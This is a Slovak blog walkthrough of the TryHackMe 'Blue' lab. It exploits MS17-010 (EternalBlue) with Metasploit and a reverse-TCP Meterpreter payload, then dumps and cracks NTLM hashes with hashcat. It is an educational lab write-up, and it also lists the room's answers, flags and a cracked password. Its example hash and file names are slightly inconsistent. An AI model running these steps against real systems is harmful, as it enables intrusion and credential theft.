DEV Community

Cover image for THM - Blue
mikensen
mikensen

Posted on

THM - Blue

Blue je jedna z "legendárnych" miestností na TryHackMe zameraná na exploit známej zraniteľnosti MS17-010 (EternalBlue) vo Windows SMB službe. Krásny príklad ako vobec pochopiť úplný zaklad "penetrácie" do systému. Usaď sa, alebo ešte lepšie - vyskúšaj si.

Čo ti to dá podľa tryhackme.com :

  • SMB enumerácie
  • práca s Metasploit
  • exploitovania známej Windows zraniteľnosti.

Poďme na to !

Ako väčšina zadaní na obdobných CTF strojoch, aj tu je cieľ - získať FLAG. Táto machine nám krásne ukáže ako sa dá - resp. ako sa dala rozbiť Windows 7 cez nedeľný obed.

TryHackMe

Názov: Blue
Obtiažnosť: Easy
OS cieľa: Windows 7
Téma: EternalBlue (MS17-010)
Čas: ~15–60 minút (resp hodiny ak zabudneš spustiť VPN ako ja, keď som s týmto všetkým začínal)

Čo si vyskúšaš

  • Ako skenovať cieľ Nmapom
  • Čo je EternalBlue a prečo Microsoft mal veľmi zlý rok 2017
  • Ako použiť Metasploit — nástroj ktorý vyzerá hrozivo ale je to v podstate IKEA návod
  • Čo je Meterpreter shell
  • Ako cracknúť heslo a cítiť sa pritom ako z Mr. Robot

Disclaimer
Všetky útoky robíme výhradne na TryHackMe stroji. Ak to skúsiš na niečom inom bez povolenia, možeš mať väčší problém ako ten Windows 7 bez patchov.

🗺️ Typický Plán - Workflow
Recon → Scanning / Enumeration → Exploitation → Privilege Escalation → Post-Exploitation → Loot / Flags - Pivko

FÁZA 1 — Recon - Scanning (a.k.a. "Kukám čo tam máte")

nmap -sV -sC -O --script vuln <IP_ADRESA>

Čo sme práve napísali:

Flag Čo robí Laicky povedané
-sV Zisti verzie služieb "Čo tam beží a aká stará verzia?"
-sC Spusti default skripty "Skontroluj bežné veci za mňa"
-O Detekuj OS "Aký systém tam je?"
--script vuln Skontroluj zraniteľnosti "Nájdi mi niečo na exploitovanie, prosím"

⏳ Nmap teraz pracuje. Toto je ideálny čas na kafe. resp. na zodpovedanie otázky "a čo vlastne robíš na tom počítači?" od rodinných príslušníkov.****

Ale reálne čo sa nás TryHackMe pýta ako prvé :

How many ports are open with a port number under 1000?
3

okej už teraz sa chytám za hlavu, lebo som do toho nmap príkazu nezadal, že stačia porty pod 1000.. čiže ich takto oscannuje (zbytočne)všetkých 65535.
Lepší príkaz by bol :
nmap -sV -sC -O --script vuln -p 1-999 <IP_ADRESA>

Čo tam hned vidíme ?

  • Port 445 = SMB protokol = Windows zdieľanie súborov = náš vstup do dejín.
  • smb-vuln-ms17-010 Nmap nám práve povedal "hej, tento stroj má otvorené dvere, kľúč leží na rohožke"

What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067)
ms17-010

🤦 Windows 7 bez patchov. V roku 2017 tento exploit zasiahol nemocnice, banky a firmy po celom svete. Patch existoval. Ľudia ho nenainštalovali. WannaCry ransomware im potom zašifroval všetko. IT oddelenia mali veľmi zaujímavý pondelok.

FÁZA 2 — Exploitation (Metasploit time)

Spusti Metasploit :
msfconsole

Vždy keď sa zobrazí tento ASCII art, tak sa cítim ako hacker z filmu...

Ale Metasploit je v podstate google pre exploity. Akurát namiesto výsledkov dostaneš prístup do systémov..

Nájdi exploit:
search ms17-010
Uvidíš zoznam. Hľadáš:
exploit/windows/smb/ms17_010_eternalblue

Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/........)
exploit/windows/smb/ms17_010_eternalblue

💡 Prečo sa volá EternalBlue? Vytvorila ho NSA — americká tajná služba. Niekto im ho ukradol a zverejnil. Microsoft vydal patch. Ľudia ho neignorovali... oh shit.. vlastne som to prezradil pred chvíľou - ignorovali. A tak vznikol WannaCry. Celý príbeh je lepší ako Netflix seriál.

Načítaj exploit:
use exploit/windows/smb/ms17_010_eternalblue
Prompt sa zmení. Teraz si v module. Ako keď vstúpiš do obchodu — ešte si nič nekúpil ale už vieš čo chceš.

Pozri čo treba v tom exploite/module nastaviť :
show options

Metasploit ti ukáže tabuľku. Povinné veci sú označené yes

Nastav cieľ :
set RHOSTS <IP_ADRESA>

RHOSTS = Remote Hosts = "koho idem navštíviť bez pozvánky"

Show options and set the one required value. What is the name of this value? (All caps for submission)
RHOSTS

Nastav payload :
set payload windows/x64/meterpreter/reverse_tcp

💡 Payload = čo sa spustí na cieli po exploite. reverse_tcp znamená, že cieľ sa pripojí späť k nám. Nie my k nemu. Preto to funguje aj za firewallom — firewall blokuje prichádzajúce spojenia, ale odchádzajúce nechá. "vyšiel som von cez okno ale dvere sú stále zamknuté."

Spusti exploit :
run resp. exploit

Ak to hneď nefungovalo — normálne. Skús znova. Exploity sú už raz také..

FÁZA 3 — Post-Exploitation (Turistika po cudzom systéme)

Máš shell. Čo teraz? Pozri sa kto si.
Over svoje privilégiá

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Enter fullscreen mode Exit fullscreen mode

NT AUTHORITY\SYSTEM je najvyšší level na Windows. Vyšší ako Administrator. Vyšší ako IT admin. Vyšší ako CEO. Prakticky — môžeš robiť čokoľvek. EternalBlue ti nedal kľúče od bytu, dal ti kľúče od celej budovy.

Stabilizuj shell — migruj do iného procesu

Tvoj shell môže byť nestabilný. Ukradni si miesto v inom procese:

ps
Enter fullscreen mode Exit fullscreen mode

Uvidíš zoznam všetkých bežiacich procesov. Hľadáš niečo pokojné a stabilné — spoolsv.exe alebo svchost.exe. Vezmi jeho PID.

migrate <PID>
Enter fullscreen mode Exit fullscreen mode

FÁZA 4 — Hashe a Cracking (Mr. Robot moment)

Vytiahneme hashe :
hashdump

Within our elevated meterpreter shell, run the command 'hashdump'. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?
Jon

💡 Windows neukladá heslá ako plaintext — ukladá ich ako NTLM hashe. Hash je jednosmerná funkcia — heslo123 → ffb43f0de35be4d9917ac0cc8ad57f8d. Nedá sa priamo vrátiť späť. Ale dá sa uhádnuť — skúšaš milióny hesiel, hashneš ich a porovnávaš. Volá sa to slovníkový útok a je to presne také nudné ako znie.

Uložíme ten Jonov hash do súboru hashujeme.txt:

echo "ffb43f0de35be4d9917ac0cc8ad57f8d" > hashujeme.txt
Enter fullscreen mode Exit fullscreen mode

💡 Celý reťazec má formát meno:RID:LM_hash:NTLM_hash::: — LM hash (aad3b435...) je prázdny placeholder ktorý Windows používa keď LM hashing vypnutý. NTLM hash je ten druhý a ten nás zaujíma.

a potom crackneme s hashcatom :

hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode

Heslo je alqfna22. Jon si myslel že je to bezpečné. Jon sa mýlil.

Copy this password hash to a file and research how to crack it. What is the cracked password?
alqfna22

🚩 Flagy

Pohľadáme všetky súbory kde je slovo flag :

search -f flag*.txt
Enter fullscreen mode Exit fullscreen mode

A už to len postupne prečítame..

cat C:\\flag1.txt
`flag{access_the_machine}`

cat C:\\Windows\\System32\\config\\flag2.txt
`flag{sam_database_elevated_access}`

cat C:\\Users\\Jon\\Documents\\flag3.txt
`flag{admin_documents_can_be_valuable}`
Enter fullscreen mode Exit fullscreen mode

📊 Čo sme dnes urobili?



Nmap scan     →  Objavili sme otvorené dvere (port 445 + MS17-010)
EternalBlue   →  Prešli sme cez ne (SYSTEM shell)
Migrácia      →  Zaistili sme si pohodlný pobyt
Hashdump      →  Ukradli sme kľúče od trezoru
Hashcat       →  Otvorili sme trezor
Flagy         →  Zobrali sme čo tam bolo a odišli

A teraz pifko.
Enter fullscreen mode Exit fullscreen mode

Top comments (0)